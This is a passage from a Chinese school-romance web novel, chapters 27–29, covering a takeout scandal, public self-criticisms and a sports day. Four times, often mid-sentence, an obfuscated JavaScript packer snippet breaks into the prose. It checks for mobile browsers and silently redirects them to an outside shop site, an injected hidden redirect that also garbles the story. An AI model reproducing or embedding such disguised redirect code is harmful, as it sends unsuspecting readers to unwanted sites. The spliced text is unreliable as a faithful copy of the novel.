骆眀昭不敢去跟他对视,片刻后,又小心将纸推了回去:“不用啦。” 数学课代表收完韩进奇罗川的答案,就走到他俩旁边:“来来来,交一下。” “抱歉啊,我没写,你记个名吧直接。”骆眀昭直白地说。 课代表愣了一阵,在他们一班还没出现过这种先例,他手里还攥着牧时桉的答题纸,在自己的职业原则上挣扎,犹豫着说:“要不,你抄一下?反正还有两三分钟。” 咋都是这句话? 骆眀昭摆摆手,轻笑着:“又不是我自己算出来的结果,有什么可抄的。” “可是老师说不定会——” 她无所谓道:“顶多骂几句呗,左耳朵进右耳朵出,没交作业又不是天塌了,下次会交的。” 课代表惊讶着,大概是没想到有同学会这么松弛,不过还是按照骆眀昭说的,跟她借了张便签纸,在上面记下她的名字。 牧时桉全程安静听着,似乎再一次对她产生了新的认知。 - 前半段晚自习是物理老蔡盯,班里仅剩沙沙写字声,骆眀昭也从暂时性的自我怀疑中抽离片刻,专注认真地写着作业。 一片安静时,从教室后门传来女性低跟鞋走路的声音,那声音一路从后门走到讲台,又折返走到后排。 正挠头看不出问题思路,忽而感到后背被轻拍几下,骆眀昭放下笔,与身旁牧时桉同时回头,目光短暂交汇的下一秒钟,两人就看到身后站着班主任宋晓。 “你们两个,跟我来趟办公室。”她压低声音,说完转身示意他俩跟上自己。 骆眀昭内心捏着把汗,这场面她眼熟,好像一个月前她刚经历一次。 牧时桉没什么反应,回头朝着骆眀昭点头,便起身往教室外面走。 宋晓走得很快,等两人走出后门,走廊里已不见人影。 “人呢?”骆眀昭问。 牧时桉掀起眼皮,说道:“大概是上楼了。” 细听不远处楼道里似乎确有脚步声,走廊里有些冷,骆眀昭把外套拉链直接拉到最高。 骆眀昭好奇,扬起脑袋:“怎么忽然叫咱俩,你有什么头绪吗?” 牧时桉走在她身前,跨上几层台阶,不疾不徐道:“大概是疯狂星期四东窗事发了吧。” “不对啊,那会儿小学妹都已经答应不追究了啊?”她不解道。 二楼左转一排都是办公室,而第一间都是他们的目的地。 牧时桉迈上最后一层台阶,站在平地上回头看向她,嘴角一扯:“薛游搞砸了。” 食堂那会儿他就隐隐这么觉得,当下算是几乎实锤。 骆眀昭跟着他走到办公室,敞开的门里满是熟悉的人影,一个两个埋着头像是霜打的茄子,面前站着个严肃古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628194|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板的中年男人。 看这阵容,还真是…… “报告。”牧时桉在门口唤了声,办公室众人的目光纷纷落在他俩身上。 骆眀昭被看得浑身不自在。 “进来。”中年男人严声道。 两人走进去,里面除了有“犯罪成员”,还有宋晓,二班班主任,十三班班主任,以及高二年级组的主任。走近后,眯起眼睛骆眀昭才认出中年男人是谁,在周一讲话时见过,是八中教导主任。 刚一站定,就听教导主任气势汹汹地说:“点外卖的事,你们是不是也有参与?” 事实摆在眼前,骆眀昭也不能狡辩,老老实实低头认错呗。 “是的。”她说。 牧时桉也跟着嗯了一声。 “今天还专门通知强调过,不允许点外卖,你们倒好啊,明知故犯!顶风作案!还试图欺负贿赂学生会的监督人员,你们真是太不像话了!看来是一个运动会给你们放野了!”教导主任扯着嗓子喊,声音都透着嘶哑,骂到没劲伸手去拿自己的水杯喝了一口补充体力。 欺负?求着小学妹还来不及谁会欺负她。 骆眀昭正莫名其妙着。 “你说说你们还是一班的学生!”他指着新来的两人,“一班重点班的形象都让你们毁了!” 骆眀昭背着手低头认错:“是是。” 前面已经进行了一会儿的批斗,此时教导主任的体力值已经到了极限,于是拿起自己的杯子:“今天晚上一人两千字检查,你们两个一班的,一人三千!明天运动会开始前,在讲台上公开读,全校通报批评。” 说完,便拂袖而去。 教导主任走后,年级主任又来一遍,车轱辘话来回说,她说得没了劲,又把战场交给三位班主任。 办公室老师不多,周围安静,宋晓歪着头,无奈地说:“你说说你们,有那么馋吗?忍忍不就过去了?非得顶风作案还让主任抓个现行。” 骆眀昭抿了抿唇,嘟囔着:“可今天是疯狂星期四。” “我看你们五个倒是让我们挺疯狂的。”二班班主任是个年轻男老师,刚毕业不久,“每周都有,你们非盯上这周。” 梁若璇早就被骂半天,半条魂都飘飘然:“老师,我们真的知道错了。” 林雨彤薛游也附和着:“真的真的,保证没有下次的。” “行了,那检查也够你们写一阵的,赶紧回去写吧,下回不许再这么胡闹了,听见没有。”宋晓失笑着,轻戳了下离她最近骆眀昭的脑门。 十三班的女班主任也愤愤说:“尤其是你,薛游,你能不能少给我惹点事,前两天打架还没消停,今天又来!” 薛游埋着头:“知道了。” 宋晓摆摆手:“行了,你们赶紧回去吧,晚自习也快间休了,好好写你们检查去。” 五人同时跟老师们浅浅鞠了个躬,转身离开高二办公室。 下课铃未打,走廊里还是寂静又冷清的,拐进楼道,五人默契地停下脚步,面面相觑。 骆眀昭先和梁若璇对视一眼,安静的楼道里传来骆少女“噗嗤”一声。 几秒钟后,接二连三地憋不住笑声,牧时桉嘴角处也挂起浅浅的笑意。 悠扬的下课铃响起,整栋沉寂中的教学楼瞬间活跃起来,伴着铃声,终于能肆无忌惮地放声大笑。 27. 西北风 越来越多的学生趁着间休出来放风,楼梯间内路过的学生也只当他们在讲着什么笑话,毕竟他们也有他们值得放肆大笑的趣事。 梁若璇手心捂着嘴,边笑边打人的毛病还没治好,身旁林雨彤灵活闪身躲过她的突然袭击,她笑骂着:“笑屁啊,还打人。” “你不是也笑吗!”梁若璇笑到肚子痛,“我看昭昭笑,我就忍不住。” 骆眀昭笑到弓起身子,浅靠在墙边,一想到他们做的蠢事就想笑。 请问人怎么能馋成这样呢? 为了压住笑意,她轻咳几声,勉强做了次深呼吸,终于稳住自己。 “不笑了,不笑了,”骆眀昭摆着手,擦去眼角眼泪,“赶紧回去写检查吧,我和牧时桉可是有三千字。”说完还比划了个三的手势。 林雨彤凑过她身侧,肩膀怼她一下:“少写的一千字可是我们三个被多骂将近二十分钟换来的,我感觉现在我脸上全是教导主任的吐沫星子。” 骆眀昭挠着头:“到底是怎么被发现的啊?” 晚自习刚开始没多久,教导主任就领着二班班主任风风火火地进班,气势汹汹地找人。 “我说那会儿听你们班好像乱糟糟的,不过后门关得紧我也没听清楚。”骆眀昭靠在楼梯间墙边,几人围在一起复盘事件经过。 林雨彤插着腰,慢慢悠悠讲着:“主任好像就知道咱们是二班的,你们还记得当时那个小学妹只记到我、骆眀昭、和薛游的名字吧……” 主任带着名字来班上找犯罪嫌疑人,先把林雨彤找了出来,梁若璇看不下去自己主动承认,就剩薛游和骆眀昭没找到,碰巧二班有人认识薛游,随口一提薛游是十三班的,就又把他从楼下逮下来。 “二班那些南校区同学认识你的,没把你供出来,我俩那会就想着反正能少暴露一个算一个,就没说,”林雨彤歪着头说,“但去了办公室没一会儿,你们班主任就来了,她一看我们三个这阵容,就知道肯定还有你俩的事,就把你们也抓捕归案。” 骆眀昭满脸就写着,居然这么曲折坎坷的吗? “说起来,明明那会儿小学妹答应得好好的,怎么忽然就临阵变卦啦?”梁若璇蹙着眉,怀疑的眼神逐渐转向角落里不吭声的薛游。 某人忽感后背一凉,抿着唇连个气都不敢出。 四双眼睛直勾勾盯着他,薛游犹犹豫豫开口:“不是,我真不知道,我什么都没做啊,临走那会儿忽然她脸色就变了,我真不知道自己做错什么,真的。” “算了,他也不是故意的,”骆眀昭替他开解道,“还有几分钟就要上自习了,咱们先抓紧回去写检讨吧。” 牧时桉微微扬眉,补了一句:“我们是三千字。” 噗,好扎心,三千哎。 梁若璇也同意:“走吧,先回去吧,有事放学再说。” 大家就这么达成共识,除薛游一人要上楼外,剩下的都溜溜达达往一层走。 牧时桉和骆眀昭进班以后,早就忍不住好奇的韩进奇转过身:“唉唉,班主任叫你们干什么?出什么事了吗?” 骆眀昭拿起自己的文件袋,从里面翻出几张稿纸,又扬起一个无比狰狞地假笑:“欲知后事如何,明天上午尽请期待。” 话音刚落,从一旁忽然伸来只手。 “给我两张吧,我没有稿纸。”牧时桉一个手转着笔,落在骆眀昭桌面上的手屈指轻敲几下。 骆眀昭目光略过他的手指,又很快地埋下头,在文件袋里翻着:“给,不够再跟我要。” 韩进奇了然:“嗖得丝,你俩被罚喽。” “滚。”牧时桉弯唇,一个眼刀过去。 “喳。” - 晚自习结束的放学铃打响,骆眀昭仰起头狠狠伸了个懒腰,同时甩甩发酸的手腕。 男生冷清的声音传来:“写了多少?” “我数了数,两千一,我准备晚上回去抄点废话文学。”骆眀昭扣起笔盖,把检讨塞进文件夹里,又久违地背上书包回家,毕竟作业还一个字没动呢。 今天不到一点别想睡觉喽,呦吼。 正站起身来,后门处忽然闪现个脑袋,是林雨彤,她面色算不得好看。 她朝着班里的两人招招手:“你俩出来。” 骆眀昭不明所以,但还是按着她说的往出走,身侧立着个高瘦的身影,将她整个人都裹在影子中。她忽然有些不适应,心里麻酥酥的,然后加快脚步,再回到光亮中。 牧时桉:…… 后门外的林雨彤对才发生的小插曲丝毫没有察觉,再跟骆眀昭还有半步远时,林雨彤伸手握住她的手臂,拽着她来到走廊。 二班门口,梁若璇抱着胸,面色黑沉,仿佛下一秒就是疾风骤雨袭来。 这时候骆眀昭才发现她跟牧时桉绝妙的相似处,尤其是冷脸的时候,简直就是一个模子刻出来的。 “出什么事了?”牧时桉靠着门框,偏目望向梁若璇。 林雨彤指指她,又无声地比划一个杀人手势,口型在说:薛游完蛋啦。 骆眀昭瞪大眼睛,还不知发生什么事,摊开手问为什么。 林雨彤挽过她的手臂,凑在她耳边嘀咕:“一会你就知道了。” 梁若璇静悄悄地靠着墙立着,向来是话越少气越大,表情一言难尽。 三人朝着她走过来,林雨彤闲下来的手拉住她,柔声道:“璇子,咱们出去等薛游,这正放学呢,瞧瞧这走廊里头全是人。” “好。”她说,话落边跟着大家走出教学楼。 骆眀昭在一旁听着,莫名听出一股后槽牙紧咬的意味。 教学楼顶朝着下打亮大灯,为学生们照亮放学回家的道路,四个人站到喷泉旁,这边不是到大门或者停车区的必经路,因而光线差些,人也不多。 很快,薛游背着书包从教学楼里小跑过来,幻视一只开朗热情的大金毛。 站定在四人面前,他还俯下身喘着气:“怎么了?忽然叫我过来?” 夜色之下,几个人都屏气敛息,谁都不敢去触一个濒临爆炸之人的霉头。 梁若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644175|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璇弯弯唇,朝着薛游招手:“来,你过来,我跟你说个事。” “咋啦,梁姐。”薛游还未看出潜藏在笑容之下的危机,大咧咧地朝她走过去。 也许是经验之谈,牧时桉始终寸步不离地跟在她身侧,所以在梁若璇当下准备冲上去给薛游展示一个恶魔女神的怒火时,亲侄子当机立断架死她两条胳膊。 梁若璇上半身被定死,但仍咆哮着同时朝薛游的方向蹬踹自己两条腿:“牧时桉!你把我放开,我今天非要跟这大傻子较量一把武学的真谛!” 骆眀昭林雨彤没见过这架势,呆愣几秒后也回过神去阻拦她:“冷静一下!” “你们让我怎么冷静!”梁若璇气得七窍生烟,“你们问问他,他都干了什么!” 薛游还不知道事情怎么就发展成这样,也很无辜:“梁姐,我做什么了?” “放开我!牧时桉!”梁若璇朝后喊了一声,等她被稳稳放在地上时,她扶着胸口,指着他说,“你说,那会儿你管人家小学妹叫什么?” 薛游这事印象深刻。 “记得啊,她名字可独特了,叫丁了了(lele)嘛。” 滴答悦耳的喷泉水流声都压不住梁若璇的怒火,骆眀昭就在旁边站着,眼瞅着她的脸色已经要比这夜色还深,霎时她感觉到什么征兆,于是在梁若璇再一次挽起袖子准备冲上去时,她从身后一把搂住姐妹的腰。 她咆哮着:“薛游!你没文化能不能不能不要自作聪明!人家学妹叫丁了了(liaoliao),知了的了,你听听丁了了(lele)好听吗!还居然跟人家扯什么,笔画真少,小时候被罚抄名字肯定很方便吧,我真的,谁都别拦着我,我今天非要把他那颗榆木脑袋打到格式化!” 牛逼。 骆眀昭听完全程,要不是两只手都因为抱住梁若璇而占用着,她非得给薛游比个六。高人竟在我身边。 “璇子,消消气,”林雨彤安抚着,还在试图为薛游开脱,“哎呀,这听起薛游也只是口误嘛,小问题都是小问题。” “什么小问题!”梁若璇拉开骆眀昭禁锢她行动的手,咬着牙说,“他叨叨叨说人家一路,人家学妹等他走了才委屈地哭出来,正好碰见教导主任,主任看见校服背影,以为高二学长欺负学妹才找上门来,学妹趁着晚自习课间赶紧找到我们班来解释。我说怎么点个外卖还能背上检查,主任拐弯抹角地在骂什么呢,原来都是因为他!” 原来都是因为你! 骆眀昭嘴角抽了抽。 薛游心惊胆战,因为那瞬间,感觉面前站着的不是人,是四匹能把他撕成碎片的豺狼虎豹。 他也不是故意的啊。 他步子缓慢地向后撤着:“不是,我真的不是故意的,原谅我这一次行吗?” 然后在某一瞬间,求生欲驱使着他的意志,薛游猛地转过身,拔腿就跑。 三个女生组成联盟,下一秒地咆哮地追他:“薛游!你死定了!” 夜色拥抱着校园,女生们清亮的喊声,成了新而独特的伴奏曲。 28. 巧克力 “在学校三令五申之下,我居然还死性不改,顶风作案……我是在给班级蒙羞,也是在给自己蒙羞……从今以后我必将恪守学校规章制度,不会在做这种事情。” 操场讲台上,少年们捧着检讨书念着,遍及操场各角落的广播都在播放。 最后等骆眀昭念完后,教导主任又一把抓过话筒,对讲台上五人进行批斗。 这段插曲结束,大家就各自狼狈地回到自己的班级。 第二天的运动会紧接着开始,骆眀昭坐回到座位,韩进奇凑过来,贱兮兮地说:“可以啊你们,有点本事。” 骆眀昭面无表情,只回了两句呵呵。 调整好心态,骆眀昭又再次举起相机,担任摄影师的职位,连续两天极好的天气,让人不得不感慨老天爷真是给八中面子。 林雨彤说了,这种盛会起码得凑两个九宫格才行,现在勉强就只能凑出一个。 意思是告诉骆眀昭,今天的美照也拜托她啦。 操场内各处为了决赛热血沸腾着,同时广播员们也激情澎湃地念着各班的加油稿。 骆眀昭埋头看着比赛赛程安排,好像跟昨天差不太多。 她心里计算着时间,男生一百米接力决赛时梁若璇那边跳远决赛正撞,然后是林雨彤的跳高决赛,最后是四百米接力,牧时桉和薛游都是参赛选手,这两人可以一起拍。 牧时桉啊…… 她忽然低低地念着这个名字,实话讲她这么长时间以来头一回看不清自己的心,她连自己为什么忽然就被他吸引去目光这事都不明白,跟被下蛊似的。 奇怪的人带给她的奇怪新体验。 埋着头长呼一口气,骆眀昭攥着相机,起身离开自己的座位。 “老牧,别紧张,输给我没什么的。”男子接力准备区,薛游一把揽过牧时桉的肩膀,笑得洋洋得意。 却很快被无情地拍开,牧时桉掀起眼皮,淡淡地瞥他一眼:“好像我们还没有原谅你吧?” “牧时桉,你怎么也这样。”薛游撇撇嘴,做着原地准备动作。 牧时桉远眺着一班的位置,神色淡淡,没瞧见想看的人时,又自然地收回视线:“要是我没莫名背上三千字检讨,又当着全校师生丢脸的话,我还能大度点。” Fine,算他多嘴多舌。 薛游抿着唇,灰溜溜地往一旁走了几步。 他是罪人。 裁判一声尖锐的哨声,唤回人的意识:“运动员前往指定位置。” “不管怎么说,这次我不会让你的!”薛游相当中二地朝着他挑挑眉,像是旧番动画里大决斗前放狠话的场面。 “你开心就好。”牧时桉兴致缺缺地回。 牧时桉站到内侧跑道的起跑点,无意中,视线扫到跑道外侧,今日为自己梳着单马尾的女生正抱着相机快步地朝自己走过来,额前发丝被微风吹拂着。 他微眯了下眼,垂下的嘴角终于有了扬起来的弧度,隔着条塑胶跑道的位置,他对上女生的目光。 还有几分钟梁若璇的比赛就该宣布开始,骆明昭垂下头瞅了眼手腕上的表。 糟糕,时间快到了。 离开一班营地不久,她就发现相机那块电池电量告急,她这才又马不停蹄地赶回来换备用电池。 接力比赛还没开始,骆明昭还可以插个近道从塑胶跑道上穿过去她举着相机加快步伐 她几乎是在离牧时桉一米开外时才分出神注意到他,一阵熟悉又深邃的目光朝她看来她才因此被吸引目光。 他端起那张生人勿近的脸,却又带着丝丝笑意,望向穿过跑道向他走来的人。 对了,这场就是他的比赛。 骆明昭仰起头扫他一眼,朝着他随意比出个加油的手势,又急急忙忙往梁若璇的比赛场地跑,广播里循环响起检录声。 这时候牧时桉才反应过来,她不是来找自己的。总之是下一秒后,他的脸色相当一言难尽。 原来纯属自己自作多情。 - 瞧着梁若璇瘦瘦弱弱,没想到弹跳能力一骑绝尘,成绩直接甩开第二名一大截。 登记成绩结束,从二班同学那接过一瓶水,她笑着朝骆明昭走来:“第一名哦,我厉害吧。” “太厉害了,我感觉你都没用什么力就直接飞过去啦。”骆明昭手舞足蹈地比划着她对于姐妹的震惊。 梁若璇笑着不以为意:“我中考跳远成绩满分呢,我这没事了,去看看雨彤?” 两人结伴转移到跳高场地,只能说这项目大概大家都是领阵磨枪,勉强才能跳出个成绩来。 林雨彤算倒霉的那个,好不容易想冲刺个高度,却不小心碰掉杆,最后遗憾抱得参与安慰奖。 “大侄子的项目是不是快开始了?”梁若璇问道。 骆明昭从外套里摸出手机,翻看着赛程表:“快了,还有半个多小时,估计马上就该检录了。” “那走吧,咱们去看看,”林雨彤一拍她肩膀,说,“大摄影师,到你发挥功力的时候了。” 选手准备区的遮阳棚下,薛游随意地坐在绿茵场上,牧时桉不知道从哪拽来把椅子,双腿交叠就那么稳当坐着,跟大爷似的。 梁若璇凑到他身后,孩子气的,没忍住去吓唬他:“嗨!” 却没想到最后只得到一句没什么情绪变化的“嗯”。 她现在恶作剧的本事已经差成这样了吗? “你怎么发现我的?”她没忍住问。 牧时桉只是偏过头,目光若有似无地扫过她们三人,在某人身上多停半秒后,收回目光不咸不淡地开口:“如果你过来前,薛游没跟你挥手打招呼的话,我还没发现。” 林雨彤好奇地问:“说说,谁赢了?” 她指得是刚刚那场接力。 说起这事薛游就满肚子怨念,牧时桉接过棒跟闪电侠一样,“噌”一瞬间就从他身侧窜过去,自己还没反应过来,他居然都快到终点了。 更可恶的是,他都是第一跑到终点还一脸的无所谓,搞得跟他拿冠军跟闹着玩一样。 薛游没好气地回:“他第一,我第二。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660403|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没事,这不还有一场吗?再接再厉。”骆明昭随口安慰着他。 牧时桉闻声余光不自觉望骆明昭的位置瞥了一眼,回正目光,伸手拧开矿泉水瓶盖,仰头灌了口,心里密密麻麻涌上躁意。 他是第一,不应该得到一句夸赞吗? 下意识他居然涌上这种念头,从未有过的幼稚鬼念头,像个幼儿园求保育老师关爱的小朋友。 他眉心拧着,整个人躲进阴凉中,深邃眉眼中添了几分少年意气。 骆明昭不太敢往牧时桉的方向瞧,她怕露馅,那点莫名泛起的少女情怀,怕是难藏住,只能无措地低头摆弄着手中相机。 “你拍照了?”她躲得紧,可偏偏有人会主动上前。 牧时桉不知何时从椅子上起身,就站她身侧,那个位置已然被薛游后来者霸占,他岔着腿,毫无形象地坐着。 骆明昭还没来得及回,就听正跟梁若璇聚在一块嘀咕志愿者学弟的林雨彤忽然插话道:“没事,一会儿也会给你拍的,是吧大摄影师。” 牧时桉抱臂,好整以暇地垂眸看她:“是吗?大摄影师?”句尾悄然扬起个弧度。 扑通扑通,同样一个词为什么在这人嘴里说出来就这么让她手足无措,这让人无法控制的荷尔蒙真是该死。 骆明昭悄悄呼出口气,扬起头正视着他:“你小子态度好点,我把你拍得嘴歪眼斜,永远不要招惹一个摄影师哦。” “哦,那我是不是得贿赂一下摄影师?”他含着笑意不紧不慢地问她。 骆明昭强装镇定:“也不是不可以啦。” “那,这个行吗?”男生的手心朝上。 操场嘈杂,广播站抑扬顿挫地朗诵着大同小异的加油稿,各处都是比赛时的欢呼声,十月绮城风大,在少年人的耳旁略过簌簌声。 骆明昭垂下眼帘,面前这只干净修长手中,一块包装精致的巧克力安静落在那,她目光无法从那块小东西上挪开视线。 贿赂品,是巧克力吗? “班里为运动员准备的补给品,我还没吃。”他缓慢地加深唇边的弧度,“物尽其用,拿来贿赂大摄影师了,拙劣的‘魔术’也一并送上。” 没人在意他俩。 薛游在跟对手“放狠话”,那两姐妹凑一块看帅气小学弟。 她忽然想起记忆中的老骆,虽然这个比较,实在算不得恰当。 幼儿园的时候,骆齐和王乐萍总是很忙,处在医院里一个高不成低不就的位置,就意味着这他们的时间不能完全属于他们自己。 但对于骆明昭来说,他们永远都是金牌父母,因为无论再忙,都一定不会让她在幼儿园成为最后一个被接走的小朋友。 骆齐的手心里,就仿佛是哆啦A梦的百宝箱,他是最神奇的大魔术师,有美味的糖果,漂亮的小头饰,或是小玩具…… 而现在,这个世界上,又出现一位魔术师,就只为幸运观众,骆明昭小朋友一人变出了美味的巧克力。 她怔愣着,缓缓伸出手,接过了大魔术师送给专属于她的礼物。 29. 黄焖鸡米饭 “谢谢。”她就只能想到这一句话,干干巴巴没什么情绪,但这已经是她僵硬的自己所能开口讲出来最触及真心的话。 牧时桉不自然地轻咳一声,把那份无意间划过手心的轻柔感受,背着手藏在身后,尽量不让自己的局促流露:“你把我拍得帅点就行。” “你还要多帅?”骆眀昭下意识直接讲出来,这对她来说是发自肺腑的话。 牧时桉愣着,耳根爬上一抹微红,难以察觉。 “高二男子组,四乘四百米决赛,运动员就位。”裁判哨响后,对休息区的人喊到。 薛游从椅子上跳起来,朝着牧时桉熟络地轻撞肩膀:“我跟你说老牧,这次我一定不会手下留情的。” 牧时桉目光扫过骆眀昭,轻嗯一声。 她似乎很喜欢这块巧克力,一直垂着眸子挪不开眼。 还好今天带来了,他庆幸着。 那边的帅哥鉴赏大赛总算告一段落,梁若璇挽着林雨彤朝他们走来:“大侄子,二傻子,我看好你们哦。” “梁姐!”某个二傻子恼羞成怒。 骆眀昭终于舍得从自我世界中走出来,慌不择路地把巧克力塞进外套兜里,她俩的八卦能力她是见识过的。 她举起挂在脖子上的相机,晃了又晃:“那我们在终点等你们?” 牧时桉勾起唇角:“好。” 靠,笑什么啊,还怪帅的。 三个女生手挽手到了终点前的位置,起点即终点,早早地就有一群人期待着这场比赛的结果,勉强找了个终点外几米的地方,没什么人,很快就听裁判高喊:“各就位——” 枪声后,所有参赛的少年们,如同箭羽般飞跃出去。 骆眀昭攥着拳,期待着半场远的某个人。 最后一棒又是薛游与牧时桉的比拼,两人几乎是同时接棒,并排行进,分不出前后,骆眀昭谨记着自己的使命,在终点前举着相机。 牧时桉确实是闪电侠,但可惜遇到一个闪电侠ProMax,薛游几乎是不要命得向前奔跑着,最后三米处勉强超过他一个身位,取得冠军。 “薛游赢了!”梁若璇激动地要跳起来。 林雨彤胳膊怼他一下:“喂,你是哪个班的?” “反正二班又没人进决赛。”她摊开手,说道。 “对哦。” 各班的支援小组齐上阵,恨不得把运动员捧起来,牧时桉俯身调整了会儿气息,缓缓直起身,薛游笑着朝他走过来:“我说的吧,我这次不会手下留情的。” “可以。”牧时桉点了下头。 胜与负都是荣耀,但没人不渴求第一,说不可惜那绝对是在骗自己。 牧时桉心知,在某些他执着的事上,他是比想象中胜负欲还要强的人。 原本想在骆眀昭前赢得一个冠军的,上一场她不在。 体委帮他把棒球帽拿来,他伸手接过带上后压低帽檐,一切失落都藏于暗中,靠着时间自我调解,他就那么清冷冷地独自立在跑道外空地上。 “要不要看看我给你拍的照片?”骆眀昭忽地走到他身旁,扬起胳膊把相机举到他眼前。 牧时桉噎着,说不出一句拒绝她的话,只淡淡回了句:“好。” 话落,俯到她身侧。 骆眀昭把相机举到两人都可见的位置,一张张翻看着,还在吐槽:“你们跑得太快了,我都已经在尽量按快门啦,还是只拍到这些。” “骆大师,不是说收了我的贿赂,就不会拍得嘴歪眼斜吗?”牧时桉忍不住地轻笑起来,实在是那照片上的人实在是面目狰狞。 骆眀昭撇着嘴:“你算不错的啦,感谢牧叔叔孙阿姨给你的好皮囊吧,你看看薛游脸崩成什么样子了?” 临近午间,不热但晒,阳光刺眼,骆眀昭只能用手掌虚虚地为屏幕掩住光。 倏然,她整个人躲进影子中。 骆眀昭僵了一秒,很快地调整气息,继续翻看着。 下一张,是薛游冲过终点激动的模样,意气风发,骆眀昭走了些神,忘些什么,就继续按下张。 屏幕里,少年伸手压低帽檐,他全身被暖阳包裹着,眉眼却被阴霾半遮,只剩下颚轮廓清晰利落,某种程度来说,这也是张神图。 被林雨彤看到,一定大惊小怪地说,她以后可以去给小爱豆当站姐。 但同样的地点,同位模特,同一位举镜的摄影师,照片给人的感觉却全然不同。 骆眀昭当下只剩错愕,想赶紧把照片收起来,可再想此举纯属掩耳盗铃。 这其实是她偷拍的,想留下运动会期间最后一张正大光明为他拍摄的照片,却拍下如此落寞的身影,所以她才忍不住,上前想缓解他的心情。 骆眀昭故作随意地说:“怎么样,没有亏掉你给我的贿赂吧,给你拍得老帅了,风流倜傥忧郁帅哥,是吧。” 牧时桉沉默几秒,缓声道:“嗯,很好。” 她不知道自己有没有缓解他的失落感,他仍是那样抿着唇,安静地看着屏幕中的自己。 “你是来专门安慰我的?”牧时桉定定地看着她,实在是话题转移地太彻底又太直白,骆眀昭仰着头,瞳孔轻颤。 他坦坦荡荡让她吓了一跳。 哪有这么直白的,真是。 裁判老师吹哨一声示意清空场地,要为下一场比赛做准备,一场接一场的比赛诞生出一个又一个冠军,同时也落下亚军们的一个又一个遗憾。 骆眀昭抬头,看到风吹动旗帜,它摇曳摆动着猎猎作响:“你看,它在为你鼓掌呢。” 牧时桉顺着抬头向上看,就在他头顶正上方。 “虽然这种话很烂俗,但也实在,只要站在赛场上就已经是冠军了,”骆眀昭耸耸肩说着,“大家总是会习惯性地忽视第二名,但也忘了他们是战胜了多少对手才堂堂正正取得亚军奖杯的人。” “不过至少风还在为你鼓掌啊,还有我,我也给你拍下神图了不是,这比得第一还难呢,你看薛游,虽然得说抱歉,但将近八成我给他拍的都是丑照,在这事上,你妥妥的冠军,当之无愧。”她说。 至少风还在为我鼓掌。 牧时桉从没这么想过,第一次有人告诉他这件事,她说得没错,很烂俗,像是在读什么打鸡血公众号文章一样。 但他胸口温热,像是正中专属于他心脏的燃点,烧得炙热。 “昭昭,牧时桉,我们来拍合照啊!”梁若璇朝着他们招手,唤他们来。 骆眀昭扬扬下巴:“走吧?” 蹙起的眉间终于舒展,少年笑了笑:“嗯。” 一班体委自告奋勇帮忙拍照,梁若璇从前在一班,也是她为数不多的熟人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666760|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林雨彤忽然问:“我们摆个什么姿势好呢?” “来来,你来过来。”骆眀昭忽然灵机一动,招呼两个小姐妹,凑在一块商议。 薛游留在原地摸不着头脑,牧时桉走到他旁边:“跑得不错。” “嘿嘿,谢啦,主要我们老班让我背两个冠军回去,下午那场有点悬,所以只能这场拼了!”薛游笑着。 这边骆眀昭她们总算商议完成,神神秘秘地拉来两把椅子:“来,你俩坐下。” 两个男生照做,老实坐下,梁若璇伸手招呼一声,体委举着相机过来找他们。 “你俩坐好!”林雨彤指挥着。 骆眀昭插话道:“摆个pose也行。” 一班体委举着相机高喊着:“嗨,要拍喽,准备好啊,三、二、一、茄子!” 按下快门的前一秒,牧时桉忽然感到肩上多了些重量,在回过神来,竟是薛游咧着笑,哥俩好地搭上他的肩膀。 而女生们,则是站在椅子旁,围在他俩身侧,为他们比出闪光的手势,像是在说,看他俩就是冠军。 “来来来,该我了,我也是冠军,”梁若璇把他俩拽起来,“我是跳远冠军呢。” 之后,每个人都享受一番众星捧月的合影姿势。 在林雨彤不知道的时候,为了配合她的跳高安慰奖,给她的手势变成比大拇指,把她气得不行。骆眀昭在中间,她是神图产出冠军,同时很自然地忽略薛游在一旁对他丑照的不满,甚至一班体委也被拉来拍照,他是合照大师…… 总之,在八中南校区的第一次大概也是最后一次运动会,就在欢声笑语中落下帷幕。 - 盛大的欢聚后,由此而来就是无尽的空虚和被迫面对现实的慌乱感。 